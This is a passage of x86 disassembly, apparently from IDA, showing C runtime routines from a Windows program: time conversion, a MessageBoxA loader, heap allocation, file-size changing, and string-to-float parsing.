loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D450[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D418[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D44C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D404, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D400, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D408, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D414, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D370
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D418, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D418, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D418, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D414, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D410, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: sub_422E72+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEA1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9C2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC24, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4270B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4DBC24, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC28, eax
		call	esi	; GetProcAddress
		mov	dword_4DBC2C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC28
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC2C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC24


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFC0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9B4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFC4
		call	dword_427144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9BC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC60, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC58
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC58
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC58
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC60
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCD80
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB93C, 5
		jnz	short loc_424FDC
		mov	dword_4DB938, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		call	dword_427010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB938, 0Dh
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4DB93C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB938, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245


loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------


loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi


loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump


loc_42525B:				; DATA XREF: .packed:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C


loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43CBC8
		jnz	short loc_42527B


loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------


loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265


loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43CBC8
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324


loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564


loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------


loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265


loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43CBC8
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9


loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3


loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43CBC4, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------


loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C9B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------


loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]


loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------


loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43CBC8
		jnz	short loc_4253E6


loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F


loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------


loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43CBC4, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C9B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------


loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------


loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		cmp	dword_43CBC4, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C9B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487


loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567


loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------


loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8


loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------


loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------


loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490


loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9


loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax


loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------


loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567


loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7


loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
